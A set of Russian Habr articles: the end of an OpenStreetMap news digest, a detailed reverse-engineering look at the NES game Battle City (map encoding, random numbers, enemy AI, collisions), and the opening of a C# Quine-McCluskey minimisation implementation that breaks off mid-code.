* Немецкий сервис Outdooractive, который строит маршруты по внедорожью и на природе, в том числе используя для этого OSM, [приобрел](https://myoutdoors.co.uk/industry-news/outdooractive-acquire-viewranger-to-create-europe-s-largest-outdoor-portal) два других сервиса: Viewranger и MountNpass.
* В The New York Times опубликована [статья](https://www.nytimes.com/2020/05/22/science/maps-elevation-geodetic-survey.html) Аланны Митчелл о «модернизации высот», проводимой Национальным Управлением Океанических и атмосферных исследований. В рамках этой программы старая система NAVD 88 будет заменена на систему, основанную на GPS и гравитационных наблюдениях, в результате чего «высота» упадет на метр по всей территории США.
* Яндекс [опубликовал](https://yandex.ru/company/researches/2020/back-to-life) исследование о том, как города выходят из изоляции.
---
Общение российских участников OpenStreetMap идёт в [чатике](https://t.me/ruosm) Telegram и на [форуме](http://forum.openstreetmap.org/viewforum.php?id=21). Также есть группы в социальных сетях [ВКонтакте](https://vk.com/openstreetmap), [Facebook](https://www.facebook.com/openstreetmap.ru), но в них в основном публикуются новости.
[Присоединяйтесь к OSM!](https://www.openstreetmap.org/user/new)
---
Предыдущие выпуски: [513](https://habr.com/ru/post/504696/),,[512](https://habr.com/ru/post/503620/), [511](https://habr.com/ru/post/502392/), [510](https://habr.com/ru/post/501254/), [509](https://habr.com/ru/post/500250/), | https://habr.com/ru/post/505224/ | null | ru | null |
# Ностальгия: роемся у «Танчиков» под капотом
Многие из нас выросли на «Танчиках», «Марио» и прочих нетленных шедеврах времён рассвета игровой индустрии. Приятно порой вспомнить, как днями напролёт резались с друзьями у экранов телевизоров, меняя джойстики как перчатки. Но время не стоит на месте, и одни интересы сменяются другими. Однако, порой любовь к старым-добрым игрушкам не угасает.
Я отношу себя к людям именно таким, и мой интерес к старым играм пошёл в сторону реверс-инжиниринга, что и привело меня в IT-сферу, где я и осел с концами.
Я хочу рассказать вам о том, что же под капотом у железных монстров из знаменитой игры Battle City (в простонародье «Танчики») с не менее знаменитой приставки Nintendo Entertainment System (сокращённо NES, в России более известен её китайский клон «Dendy»). Мне в своё время эта информация показалась довольно любопытной — надеюсь, такой же она покажется и вам.
Предыстория
-----------
Несколько лет назад, изучая разнообразные графические библиотеки, я поставил перед собой цель написать точный клон «Танчиков». Так уж сложилось, что как раз в тот момент один мой знакомый занимался созданием довольно интересного [ремейка](http://shedevr.org.ru/cgi-bin/parse.cgi?id=BinaryCity) путём модификации кода оригинальной игры, так что я решил проконсультироваться у него (кстати, огромное ему спасибо за консультацию и помощь в подготовке статьи). Тогда меня поразило то, какими методами реализовывался некоторый функционал. Вот и решил я, спустя годы, поделиться этими знаниями с общественностью: всё-таки это часть истории геймдева, которая может показаться интересной как ценителям классики, так и разработчикам современных игр.
Хочется сказать отдельное спасибо человеку под ником [Griever](http://griever.magicteam.net/) за труды по декомпиляциии игры. Прежде всего благодаря полученным им исходникам стало возможно настолько подробно вникнуть в суть.
Карты уровней
-------------
Карты в Battle City состоят из тайлов — блоков размером 8x8 пикселей. Весь фон, видимый на экране, является картой — гипотетически даже со счётчиком жизней можно взаимодействовать, но по факту это, конечно же, не удастся.
Однако, в сериализованном виде уровни хранятся более компактно: для этого тайлы компонуются в блоки размером 2x2 тайла. Всего имеется 16 разновидностей блоков, которые приведены в таблице ниже. Хранится только основная часть карты (13x14 блоков), по которой и ездят танки — нет смысла сохранять статичные стены и вспомогательную информацию. Для записи одного блока используется 4 бита, таким образом, вся карта занимает 91 байт.
| | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- |
| Блок | Код | Блок | Код | Блок | Код | Блок | Код |
| | 0 | | 1 | | 2 | | 3 |
| | 4 | | 5 | | 6 | | 7 |
| | 8 | | 9 | | A | | B |
| | C | | D | | E | | F |
В отличии от блоков, разновидностей самих тайлов гораздо больше, а именно — 256, т.е. ровно столько, сколько вмещает одна страница знакогенератора — участок видеопамяти, где каждому тайлу соответствует индекс от 0 до 255. Тайлы используются как для создания окружения уровня, так и для отображения информации о количестве вражеских танков, жизней и т.п. Но непосредственно в элементах уровня их используется всего 22 — из них 6 для формирования перечисленных блоков, остальные 15 — дополнительные тайлы кирпичных блоков, о них стоит рассказать подробнее.
Если карта состоит из тайлов размером 8x8 пикселов, то как же получается уничтожать кирпичные мини-блоки размером 4x4 пиксела? Дело в том, что на самом деле не существует «кирпичей» такого размера, вместо этого существует 16 видов обычных тайлов — по одному на каждое состояние. Т.е. при попадании по блоку размером 4x4, в реальности заменяется целый тайл, а сам кирпич переходит в другое состояния, в зависимости от того, куда попал снаряд.
Поэтому, кстати, при уничтожении части кирпичного блока, танк не может въехать на освободившееся пространство — ведь сам тайл не был уничтожен.
Расположение точек респауна и орла на карте фиксированы, объекты будут появляться на своих местах независимо от того, что находится в месте их появления. Это и происходит, если во встроенном редакторе уровней «замуровать» эти участки.
Если кому-то интересно позаниматься картостроительством, то для этих целей существует хороший редактор [Quarrel](http://www.romhacking.net/utilities/249/), который работает прямиком с образом игры.
Генерация случайных чисел
-------------------------
Задача генерации случайных значений с давних пор не давала покоя человечеству. Программным путём получить истинно случайное значение невозможно, поэтому зачастую задача сводилась к генерации псевдослучайных значений с распределением, близким к тому, что свойственно случайным.
Для компьютера с полностью детерминированным поведением генерация псевдослучайных чисел является ещё более сложной задачей. Например, при каждом запуске, оказывая одинаковое воздействие (нажимая одни и те же кнопки в одно и то же время), мы будем получать одинаковый ход игры — на этом принципе даже основаны записи игрового процесса, где для каждого кадра хранятся нажатые в тот момент кнопки. Но для нас это не столь критично: важно получать как можно более «случайные» значения в рамках одного сеанса.
Рассмотрим, как обстоят дела с Battle City. Здесь для генерации псевдослучайного значения используется несколько «случайных» сущностей — это предыдущее случайное значение, счётчик секунд и поочерёдно байты т.н. нулевой страницы — первых 256-ти байт оперативной памяти, которые процессор NES может адресовать быстрее и проще, чем остальные. Именно поэтому нулевая страница содержит наиболее часто используемые, и, как следствие, наиболее часто изменяемые переменные, что обеспечивает более равномерное распределение.
В итоге на конечное значение числа влияет множество факторов: нажатые игроком кнопки, координаты всех танков и пуль на экране, количество очков обоих игроков, состояние множества таймеров (таких как бонусные) и даже состояние звуковых каналов! Конечно, это далеко не полный список.
Само выражение, по которому высчитывается очередное случайное число, довольно простое. Не буду вдаваться в подробности, просто покажу, как это выглядело бы на языке C:
```
uint8 seed = 0;
uint8 index = 0;
uint8 rand()
{
seed = (seed << 3) - seed + secondsCounter + zeroPage[++index];
return seed;
}
```
Как видно из кода, мы можем в любой момент получить псевдослучайное значение в диапазоне от 0 до 255. При том его распределение достаточно адекватно, в чём можно убедиться по нетленному геймплею.
Бонусы
------
В игре есть ровно семь типов бонусов — каска, часы, лопата, звезда, граната, танк и пистолет. При этом в оригинальной игре последний не используется вовсе, зато его можно встретить в пиратских модификациях — там он делает мгновенный максимальный апгрейд, т.е. эквивалентен трём взятым звёздам (а в некоторых вариациях ещё и позволяет уничтожать «лес»). Действия же остальных бонусов, думаю, известны каждому. Но, на всякий случай, напомню: часы заставляют врагов застыть, лопата создаёт броню вокруг штаба, звезда увеличивает мощность танка, граната уничтожает всех противников на экране (при этом очки за них не начисляются), а танк увеличивает количество жизней.
Кстати, в пиратских версиях с пистолетом присутствует ещё один бонус — корабль, который позволяет передвигаться по воде. Также в некоторых модификациях бонусы могут брать и противники, что в корне меняет баланс игры. Существовали даже целые сборники подобного рода модификаций, где версии различались разными подобными мелочами.
Судя по всему, изначально планировалось включить в игру восемь бонусов, но в итоге их осталось шесть. Однако, при появлении бонуса берётся случайное значение по модулю 8 (от 0 до 7), которое является индексом в таблице бонусов, где место не включенных в игру бонусов повторно заняли звезда и граната. В итоге вероятность их выпадения равна 1/4, в то время как вероятность выпадения остальных бонусов равна 1/8.
Бонусы часы и каска действуют 10 секунд (при респауне игрока каска действует 3 секунды, включая время на респаун), бонус лопата — 20 секунд.
Сами носители бонусов — мигающие танки — появляются, если у врага в ангарах остаётся 17, 10 или 3 танка. Т.е. танки под номерами 4, 11 и 18 — бонусные.
Стоит упомянуть, что секунда по меркам игры длится немного дольше обычной: у NTSC-версии консоли частота обновления экрана составляет 60 кадров в секунду, и самым простым способом вести счёт секунд является в каждом кадре увеличивать номер секунды, если счётчик кадров по модулю 60 равен нулю. Но для упрощения вычислений, а также, чтобы обнуление счётчика кадров в результате переполнения не влияло на подсчёт таким способом, это число округлили до 64 (0x40) — для взятия числа по этому модулю достаточно произвести логическое умножение на 0x3F. Получается, что игровая секунда составляет 1.06 реальной секунды, но это не касается временных отрезков, которые измеряются количеством кадров.
Занимательный факт, известный каждому знакомому с игрой: перед тем, как перестать действовать, защита вокруг штаба начинает «мигать», превращаясь то в кирпичное, то в бронированное ограждение (происходит это в последние 4 секунды действия бонуса). При этом, даже если защита вокруг штаба была частично или полностью уничтожена, каждый раз при мигании она восстанавливается, пока полностью не превратится обратно в целую кирпичную стену.
Интеллект противников
---------------------
Конечно, AI в танчиках не представляет собой тактический анализатор, но кое-какая логика всё же высчитывается.
Начнём с того, что игра имеет динамическую сложность. В качестве показателя сложности используется значение задержки между респаунами врагов, которое зависит от уровня и количества игроков — чем больше эти значения, тем быстрее будет происходить респаун. Время респауна в кадрах для заданного уровня (нумерация с нуля) и количества игроков можно вычислить по следующей формуле: `190 - level * 4 - (player_count - 1) * 20`. Чтобы получить время в секундах, надо просто умножить результат на 60.
Существует три периода поведения танков: сначала они движутся хаотично, затем они преследуют игроков, и, в конце концов, начинают атаковать штаб. Длительность первых двух периодов одинакова и равна восьми периодам респауна. Т.е., поделив время респауна на 8, мы получим длительность в секундах (или, умножив на 8, получим то же самое время в кадрах) — например, для первого уровня и одного игрока это будет 23 секунды. Третий же период будет длиться до тех пор, пока счётчик секунд не обнулится (достигнув 256), и цикл периодов не начнётся заново.
Вся эта вражеская тактика основана на системе команд, для чего выделено 8 байтов: два под танки игроков и шесть под вражеские танки. Четыре старших бита такого байта используются под команду, оставшиеся четыре младших — под её аргументы (как правило это направление движения). В итоге получается 16 команд, под каждую из которых существует обработчик. Обработчики вызываются раз в кадр для каждого танка после обработки движения.
Поверхностно рассмотрим существующие команды:
* 0 — NOP (танк отсутствует)
* 1..7 — обработать взрыв танка (по команде на кадр анимации)
* 8 — обработать статус (скольжение по льду и т.п.)
* 9 — изменить направление
* A — проверить на пересечение границы тайла
* B — двигаться к штабу
* C — двигаться к танку второго игрока
* D — двигаться к танку первого игрока
* E..F — команды управления респауном
Существует функция смены направления, которая при вызове в первом периоде поведения меняет направление танка случайным образом, во втором периоде даёт танкам с чётными номерами команду двигаться к первому игроку, с нечётными — ко второму, а в третьем даёт команду двигаться в сторону штаба.
При пересечении вражеским танком границы тайла (когда обе коодринаты становятся кратны восьми), существует вероятность 1/16, что для танка будет вызвана эта функция. Если же координаты танка не были кратны восьми, либо же не была вызвана функция смены направления, и при всём этом танк упирается в препятствие, то с вероятностью 1/4 произойдёт следующее: танк сменит направление на противоположное, если хотя бы одна из координат не кратна восьми, в ином случае танку будет дана команда смены направления.
При выполнении команды смены направления происходит несколько другое: с вероятностью 1/2 вызывается описанная выше функция, иначе с равными вероятностями циклически берётся либо предыдущее, либо следующее направление из списка: вверх, влево, вниз, вправо (т.е. танк поворачивается либо по часовой, либо против часовой стрелки).
Можно представить всю эту логику в виде такого псевдокода:
```
void changeDirection(Tank tank)
{
// period duration in seconds, respawn time in frames
const int periodDuration = respawnTime / 8;
if (time() < periodDuration)
{
// first period
tank.setRandomDirection();
tank.setCommand(cmdCheckTileReach);
}
else if (time() < periodDuration * 2)
{
// second period
if ((firstPlayer.isAlive && tank.number % 2 == 0) || !secondPlayer.isAlive)
{
tank.setCommand(cmdMoveToFirstPlayer);
}
else
{
tank.setCommand(cmdMoveToSecondPlayer);
}
}
else
{
// third period
tank.setCommand(cmdMoveToEagle);
}
}
void onCheckTileReachCommand(Tank tank)
{
if (!tank.isPlayer && tank.x % 8 == 0 && tank.y % 8 == 0 && rand() % 16 == 0)
{
changeDirection(tank);
}
else if (!tank.isPlayer && frontTile.isBarrier && rand() % 4 == 0)
{
if (tank.x % 8 != 0 || tank.y % 8 != 0)
{
tank.invertDirection();
}
else
{
tank.setCommand(cmdChangeDirection);
}
}
}
void onChangeDirectionCommand(Tank tank)
{
if (rand() % 2 == 0)
{
changeDirection(tank);
}
else if (rand() % 2 == 0)
{
tank.rotateClockwise();
}
else
{
tank.rotateAnticlockwise();
}
}
```
Интересная ситуация получается, когда танк упирается в препятствие или стену — поскольку в таком случае, даже если танк не повернул, одна из координат постоянно кратна восьми и перед ним существует тайл-препятствие, то вероятность поворота возрастает в разы. Поэтому танки практически не застревают на месте: даже попадая в угол или нишу, они довольно быстро оттуда выезжают.
Не менее интересно обстоят дела с вражескими выстрелами. Сами по себе они происходят абсолютно обособленно от танков — у каждого врага есть одна пуля, а выстрел в каждом кадре сам решает, запустить эту пулю или нет. Если пуля уже в полёте, то выстрела не происходит, иначе существует вероятность 1/32, что танк выстрелит. В таком случае, пуля оказывается на передней границе танка по её центру и наследует направление своего танка.
Стоит сказать пару слов и о поведении танков игроков в режиме демонстрации. Тут всё просто: если на экране есть бонусы, танки стремятся к ним (при этом могут застрять по пути, если пуля пролетает мимо препятствия, в которое они упираются). Иначе они просто преследуют первый доступный танк, а если таковых не осталось — стоят на месте. Снаряды выпускаются по тем же правилам, что и у вражеских танков. Огонь по своим в демо-режиме не даёт эффекта.
Обработка коллизий
------------------
Расчёт коллизий всегда был довольно ресурсоёмкой задачей, что может быть критично для такого процессора, как у NES. Просчёт взаимодействия между танками с реализацией «в лоб» требовал бы сравнить каждую пару танков, что, несмотря на их небольшое количество, всё же довольно дорогостоящая процедура для процессора с тактовой частотой 1.76 МГц. Но не стоит забывать, что кроме танков по карте передвигаются и выпущенные снаряды. Поэтому разработчики пошли на довольно интересную хитрость.
Дело в том, что каждый танк… «рисует» под собой невидимую стену. Таким образом, обнаружение коллизии между танками происходит на этапе обнаружения коллизий между танками и элементами уровня, для чего достаточно лишь определить, имеется ли по определённой координате препятствие. Имеет это и побочные эффекты: наверняка многие замечали, что если пытаться «въехать» сзади в движущийся вперёд танк, движение игрока блокируется, пока танк не отъедет на некоторое расстояние — как раз в этот момент он переезжает на следующий тайл, «рисуя» там новую стенку и «стирая» старую.
Тот же эффект можно заметить, когда в танк попадает снаряд. Визуально соприкосновение возникает на разной дистанции от границы спрайта танка (как внутрь, так и наружу) — от 0 до 7 пикселей. Но если танки рисуют под собой стену, то пули — нет. Более того, на расчёт коллизий между снарядами уходит большая часть времени кадра! И в особых случаях его может даже не хватить, тогда все эти операции перенесутся на следующий кадр, а текущий не будет изменён. Т.е. да, и в «Танчиках» бывают лаги.
При попадании снаряда одного игрока по другому, второй теряет управление движением на 192 кадра, т.е. на три игровых секунды. Но в режиме демонстрации этого не происходит.
Примечательно то, что снаряд имеет две точки, по которым проверяются коллизии. Они находятся по бокам от носа пули, и фактически может быть обработано две коллизии одновременно (иначе, после обнаружения хотя бы одной из них, снаряд исчезает). Это и происходит, если, например, целиться в центр кирпичного блока: уничтожается целая полоска.
Ещё одна интересная вещь: медленные пули (подробнее о скорости чуть ниже) обрабатываются не каждый кадр, а через кадр. Теоретически может возникнуть ситуация, когда игра будет тормозить в каждом нечётном кадре, и процессор не будет успевать дойти до обработки коллизий такой пули, откладывая её. А ведь в следующем кадре он и вовсе не должен будет её обрабатывать! Из-за подобного стечения обстоятельств медленные пули в некоторых чрезвычайных случаях могут пролетать стенки насквозь, когда игра сильно притормаживает.
Движение
--------
Скорость в игре обуславливается количеством пропускаемых кадров при изменении координат. Так, например, у игрока координата меняется каждые три кадра из четырёх, у самого быстрого врага в игре — каждый кадр.
То же самое касается и снарядов — их существует два типа: быстрые, летящие со скоростью 4 пикселя в кадр, и медленные, имеющие скорость 2 пикселя в кадр.
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| Танк | Скорость, px/frame | Тип снаряда | Танк | Скорость, px/frame | Тип снаряда |
| | 3/4 | Медленный | | 2/4 | Медленный |
| | 3/4 | Быстрый | | 4/4 | Медленный |
| | 3/4 | Быстрый | | 2/4 | Быстрый |
| | 3/4 | Быстрый | | 2/4 | Медленный |
Поскольку при движении необходимо обрабатывать и коллизии, то уместно было бы оптимизировать рассчёты, как можно более равномерно распределив их по кадрам. При самом простом подходе достаточно было бы в чётных кадрах обрабатывать перемещение всех врагов, а в нечётных только передвижение шустрого БТР. Но тогда нечётные кадры могли бы быть перегружены, и игра бы просто лагала.
На самом деле нагрузка распределена довольно хитро. Производится «XOR» между номером кадра и номером танка, и только потом проверяется чётность/нечётность результата. В итоге получается, что в чётных кадрах обрабатывается одна половина медленных танков, а в нечётных — другая.
И немного информации о скольжении на льду. Тут всё просто: после того, как игрок отпустит кнопку направления на льду, танк будет ехать сам ещё 28 кадров (т.е. проедет 21 пиксель) или пока не выедет со льда. В этот период состояние его гусениченого трака не меняется и звук езды не проигрывается, а если нажать кнопку направления уже на льду — будет проигран характерный звук, если таймер скольжения в этот момент равен нулю.
Пасхальные яйца
---------------
Пасхальные яйца [встречаются](http://cah4e3.wordpress.com/2010/01/29/love-story/) во многих играх того времени, не обошли стороной они и Battle City.
Если на титульном экране выбрать режим CONSTRUCTION, войти и выйти из него 7 раз (нажимая START, START), затем зажать на первом джойстике кнопку «вниз», нажав на втором кнопку A 8 раз, потом зажать на первом джойстике «вправо», нажав на втором кнопку B 12 раз, и, наконец, нажать на первом джойстике кнопку START, то мы увидим трагическую историю любви.
Кроме того, в игре можно встретить неиспользуемые данные — имена разработчиков (RYOUITI OOKUBO, TAKEFUMI HYOUDOU, JUNKO OZAWA) и иероглифы, означающие имя главного героя лавстори и название улицы (возможно, на которой жил он сам или его возлюбленная).
Пожалуй, здесь я не буду вдаваться в подробности, ибо это подробно изложено по ссылке чуть выше.
Эпилог
------
В заключение хочу сказать, что раньше создание игр было в некотором смысле всё же большим искусством, чем сейчас. Это же колоссальное мастерство — уложиться в ограничения аппаратной части, и в то же время создать хорошую игру. Это сродни демосцене, которая, по сути, преследует те же самые цели — создавать шедевры там, где это сложно вообразить.
В наши дни всё это уходит в прошлое, позволяя не особо задумываться о способах реализации. На мой взгляд, это сильно понижает порог вхождения в процесс разработки игр, что постепенно, но верно превращает его скорей в обыкновенный бизнес, чем в искусство. Хотя, возможно, я просто слишком эстетичен в этом отношении. | https://habr.com/ru/post/142126/ | null | ru | null |
# Реализация минимизации логических функций методом Квайна\Мак-Класки при неполном входном наборе
Данная статья является, в некоторой степени, продолжением моей статьи по минимизации логических функций методом Квайна-Мак’Класки (<https://habr.com/post/328506>). В ней рассматривался случай с полностью определёнными логическими функциями (хотя этого в ней прямо не упоминалось, а только подразумевалось). В реальности такой случай встречается достаточно редко, когда количество входных переменных мало. Частично или не полностью определенными называются логические функции, значения которых заданы лишь для части Q из полного множества P= возможных наборов (термов) их аргументов (переменных) количеством *N*, т. е. Q < P. Такая ситуация встречается на практике в большинстве случаев применений алгоритмов оптимизации логических функций. Действительно, например, если число входных переменных *N*=30, что является заурядным случаем, например на финансовых рынках, то объём входной обучающей выборки должен составлять порядка > элементарных уникальных термов. Такой массив данных встречается не в каждой даже очень крупной организации, не говоря уже о частных лицах, т. е. это уже сфера BigData, использования ЦОД-ов и т. д.
Поэтому на практике чаще всего минимизируемые логические функции будут определены не полностью просто в силу отсутствия необходимого количества накопленных данных или в силу разных других объективных причин (например, не хватает места для их хранения). Возникает вопрос о возможности «обхода» этой неприятности при использовании алгоритма, работающего с полностью определённым набором терм логической функции, таким как, например, из предыдущей моей статьи.
Стандартной практикой в этом случае является доопределение неполного входного набора значений переменных (термов) до полного таким образом, чтобы оно давало оптимальный результат для имеющегося набора данных. Но, в этом случае, возникает проблема в переборе всех возможных вариантов доопределений, общее количество которых составляет V=, чтобы выбрать оптимальный вариант доопределения в соответствии с заданным критерием. Очевидно, что для реально используемых значений Q и P количество перебираемых вариантов доопределений астрономически велико и такой подход не реализуем на практике в силу грандиозности вычислительных затрат.
Таким образом, нужен другой подход, который бы устранил необходимость перебора различных вариантов доопределений. Следовательно, необходимо так модернизировать исходный алгоритм, работающий изначально только с полностью определённым входным набором, чтобы он мог работать также и с усеченным набором. Именно такая реализация алгоритма и предлагается в данной статье, основанная на том, что в процессе минимизации обрабатываются одновременно два неполных списка терм, на которых функция задана как FALSE (0) и TRUE (1).
С точки зрения машинного обучения алгоритм Квайна-Мак’Класки реализует парадигму обучения с учителем, когда одновременно с входными данными в процессе обучения (в данном случае минимизации) участвует соответствующие им выходные значения целевой функции. Напомню, что принцип работы базового метода Квайна-Мак’Класки согласно теории состоит из двух основных этапов:
1. Этап. Нахождение всех простых терм ЛФ, используя правила (законы) склеивания:
a) (A & B)? (A & !B)? A;
b) (A? B) & (A? !B)? A;
где & — операция логического «И»;? — операция логического «ИЛИ»;! – операция логического отрицания «НЕ». Из этих формул следует, что две термы склеиваются, если они отличаются друг от друга только в одной из позиций переменных. В позиции, где две термы отличаются друг от друга ставится знак «\*». Таким образом, алфавит в склеенных термах по сравнению с исходным расширяется до трёх значений:
• 0 => значение false;
• 1 => значение true;
• 2 => склеенная переменная (\*).
2. Этап. Минимизация количества полученного после первого этапа множества склеенных терм, как задача нахождения оптимального покрытия ими исходного множества терм количеством Q. Т. е., так как каждый выходной терм покрывает только определённое подмножество исходных терм, необходимо выбрать такой минимальный набор выходных термов, чтобы отождествлённые с ними подмножества разной длины в совокупности полностью покрывали все исходные входные термы. Под покрытием в данном случае подразумевается, что побитовая операция дизъюнкции выходного терма над входным давала истинное значение. Допустим, выходной склеенный терм имеет следующий вид: 10\*0110\*.
Тогда он покрывает терм 10101100:
10\*0110\* & 10101100 = TRUE
но не покрывает терм 00101100:
10\*0110\* & 00101100 = FALSE
Т. е. входной терм и выходной должны совпадать везде за исключением позиций, где есть символ «\*» – в такой позиции переменная входного терма может принимать любое значение, т.к. в этой позиции переменная исключается из рассмотрения.
**Код реализации следующий (нажать для просмотра):**
```
using System;
using System.Collections.Generic;
using System.Linq;
#region Логические функции
///
/// Базовый класс для логических функций
///
public abstract class LogicFunction
{
//Символ "склееной" позиции
public const byte cStarSymb = 2;
//Дизъюнкции или конъюнкции функции
public readonly ICollection Terms = new LinkedList();
//Вычисление значения функции
public abstract bool Calculate(bool[] X);
//Вычисление значения функции
public abstract bool Calculate(char[] X);
//Вычисление значения функции
public abstract bool Calculate(byte[] X);
}
///
/// Дизъюнктивная нормальная форма
///
public class Dnf : LogicFunction
{
public static bool Calculate(byte[] X, byte[] term)
{
bool bResult = true;
for (int i = 0; i < term.Length; i++)
{
if ((term[i] == cStarSymb) || (term[i] == X[i])) continue;
bResult = false;
break;
}
return bResult;
}
public override bool Calculate(byte[] X)
{
bool bResult = false;
foreach (byte[] term in Terms)
{
bool bTermVal = true;
for (int i = 0; i < term.Length; i++)
{
if ((term[i] >= cStarSymb) || (term[i] == X[i])) continue;
bTermVal = false;
break;
}
//bResult |= bTermVal;
if (bTermVal)
{
bResult = true;
break;
}
}
return bResult;
}
public override bool Calculate(char[] X)
{
bool bResult = false;
foreach (byte[] term in Terms)
{
bool bTermVal = true;
for (int i = 0; i < term.Length; i++)
{
if ((term[i] >= cStarSymb) || (term[i] == (byte)(X[i] == '0' ? 0 : 1))) continue;
bTermVal = false;
break;
}
//bResult |= bTermVal;
if (bTermVal)
{
bResult = true;
break;
}
}
return bResult;
}
public override bool Calculate(bool[] X)
{
bool bResult = false;
foreach (byte[] term in Terms)
{
bool bTermVal = true;
for (int i = 0; i < term.Length; i++)
{
if ((term[i] >= cStarSymb) || ((term[i] != 0) == X[i])) continue;
bTermVal = false;
break;
}
//bResult |= bTermVal;
if (bTermVal)
{
bResult = true;
break;
}
}
return bResult;
}
}
#endregion
///
/// Дерево термов
///
public class TreeFuncTerm
{
// Конечный узел дерева термов
public class TreeNodeEnd { }
//Общий конечный узел дерева
private readonly TreeNodeEnd pCommonTreeNodeEnd = new TreeNodeEnd();
//Корень
private readonly object[] rootNode = new object[3];
//Режим работы дерева в отношении конечных узлов
private readonly bool IsNewTreeNodeEndMode = false;
//Ранг (глубина) дерева
private int \_rang = 0;
public int Rang
{
get { return \_rang; }
}
//Для работы перечисления узлов
private int enumerationPos = 0;
private object[][] enumerationBuf;
//Терм, который сопоставлен текущему конечному узлу
private byte[] enumerationTerm;
public byte[] EnumerationTerm
{
get { return enumerationTerm; }
}
//Конечный узел, который сопоставлен текущему терму
private TreeNodeEnd enumerationNode;
public TreeNodeEnd EnumerationNode
{
get { return enumerationNode; }
}
//Возвращает количество термов в дереве
private UInt32 \_count = 0;
public UInt32 Count
{
get { return \_count; }
}
//Конструктор
public TreeFuncTerm(bool bNewTreeNodeEndMode = false)
{
IsNewTreeNodeEndMode = bNewTreeNodeEndMode;
Clear();
}
//Очистить дерево
public void Clear()
{
\_count = 0;
\_rang = 0;
enumerationPos = 0;
enumerationBuf = null;
enumerationTerm = null;
enumerationNode = null;
rootNode[0] = rootNode[1] = rootNode[2] = null;
}
//Инициализировать процесс перебора конечных узлов дерева
public TreeNodeEnd EnumerationInit()
{
enumerationPos = 0;
enumerationTerm = new byte[\_rang];
enumerationTerm[0] = 0;
enumerationNode = null;
enumerationBuf = new object[\_rang][];
enumerationBuf[0] = rootNode;
//Вернуть первый конечный узел
return EnumerationNextNode();
}
//Получить следующий конечный узел дерева
public TreeNodeEnd EnumerationNextNode()
{
int iIsNext = (enumerationNode != null ? 1 : 0);
enumerationNode = null;
while ((enumerationNode == null) && (enumerationPos >= 0))
{
object pNextNode = null;
int iSymb = enumerationTerm[enumerationPos] + iIsNext;
for (object[] pNodes = enumerationBuf[enumerationPos]; iSymb < 3; iSymb++)
{
if ((pNextNode = pNodes[iSymb]) != null) break;
}
if (pNextNode == null)
{
//Возврат на предыдущий уровень
enumerationPos--;
iIsNext = 1;
}
else
{
enumerationTerm[enumerationPos] = (byte)iSymb;
if (pNextNode is TreeNodeEnd)
{
//Найден конечный узел
enumerationNode = (TreeNodeEnd)pNextNode;
}
else
{
//Переход на следующий уровень
enumerationPos++;
enumerationBuf[enumerationPos] = (object[])pNextNode;
enumerationTerm[enumerationPos] = 0;
iIsNext = 0;
}
}
}
return enumerationNode;
}
//Добавление в дерево нового терма без замены имеющегося
public TreeNodeEnd Add(byte[] term)
{
\_rang = Math.Max(\_rang, term.Length);
object[] pCurrNode = rootNode;
int iTermLength1 = term.Length - 1;
for (int i = 0; i < iTermLength1; i++)
{
byte cSymb = term[i];
object pNextNode = pCurrNode[cSymb];
if (pNextNode == null)
{
pNextNode = new object[3];
pCurrNode[cSymb] = pNextNode;
}
pCurrNode = (object[])pNextNode;
}
object pNewNode = pCurrNode[term[iTermLength1]];
if (pNewNode == null)
{
pNewNode = (IsNewTreeNodeEndMode ? new TreeNodeEnd() : pCommonTreeNodeEnd);
pCurrNode[term[iTermLength1]] = pNewNode;
\_count++;
}
return (TreeNodeEnd)pNewNode;
}
//Удаление из контейнера конечного узла последовательности
public TreeNodeEnd Remove(byte[] term)
{
object[] pCurrNode = rootNode;
int iTermLength1 = term.Length - 1;
for (int i = 0; i < iTermLength1; i++)
{
pCurrNode = (object[])pCurrNode[term[i]];
if (pCurrNode == null) break;
}
TreeNodeEnd pRemovedNode = null;
if (pCurrNode != null)
{
//Сохраняется возвращаемая ссылка на удаляемый узел
pRemovedNode = (TreeNodeEnd)pCurrNode[term[iTermLength1]];
if (pRemovedNode != null)
{
//Стираетсяя ссылка на конечный узел
pCurrNode[term[iTermLength1]] = null;
//Уменьшается кол-во узлов
\_count--;
}
}
return pRemovedNode;
}
//Удаление из контейнера множества конечных узлов
public void Remove(IEnumerable RemovedTerms)
{
if ((RemovedTerms == null) || (RemovedTerms.Count() == 0)) return;
foreach (byte[] x1 in RemovedTerms)
{
//Из-за особенностей работы функции можно сразу вызывать Remove
//без предварительного вызова IsContains
Remove(x1);
}
}
//Проверка нахождения последовательности в контейнере
public bool Contains(byte[] term)
{
object pCurrNode = rootNode;
for (int i = 0; i < term.Length; i++)
{
pCurrNode = ((object[])pCurrNode)[term[i]];
if (pCurrNode == null) break;
}
return ((pCurrNode != null) && (pCurrNode is TreeNodeEnd));
}
//Проверка присутствия последовательностей в контейнере,
//дающих истинное значение для входного терма
public bool IsCalculateTrue(byte[] term)
{
return IsCalculateTrue(rootNode, term, 0);
}
//рекурсивная версия предыдущей функции
private static bool IsCalculateTrue(object[] pCurrNode, byte[] term, int iStartPos)
{
int iTermLength1 = term.Length - 1;
while ((pCurrNode != null) && (iStartPos < iTermLength1))
{
byte cSymb = term[iStartPos++];
if (cSymb != LogicFunction.cStarSymb)
{
pCurrNode = (object[])pCurrNode[cSymb];
}
else
{
if ((pCurrNode[0] != null) && (pCurrNode[1] != null))
{
if (IsCalculateTrue((object[])pCurrNode[1], term, iStartPos)) return true;
pCurrNode = (object[])pCurrNode[0];
}
else
{
pCurrNode = (object[])(pCurrNode[0] != null ? pCurrNode[0] : pCurrNode[1]);
}
}
}
TreeNodeEnd pEndNode = null;
if (pCurrNode != null)
{
byte cSymb = term[iTermLength1];
if (cSymb != LogicFunction.cStarSymb)
{
pEndNode = (TreeNodeEnd)pCurrNode[cSymb];
}
else
{
pEndNode = (TreeNodeEnd)(pCurrNode[0] != null ? pCurrNode[0] : pCurrNode[1]);
}
}
return (pEndNode != null);
}
//Получение всех последовательностей в контейнере,
//дающих истинное значение для входного терма
public void GetAllCalculateTrueTerms(byte[] term, ICollection pAllCalculateTrueTermsList)
{
pAllCalculateTrueTermsList.Clear();
GetAllCalculateTrueTerms(rootNode, term, 0, pAllCalculateTrueTermsList);
}
//рекурсивная версия предыдущей функции
private static void GetAllCalculateTrueTerms(object[] pCurrNode, byte[] term, int iStartPos,
ICollection pAllCalculateTrueTermsList)
{
int iTermLength1 = term.Length - 1;
while ((pCurrNode != null) && (iStartPos < iTermLength1))
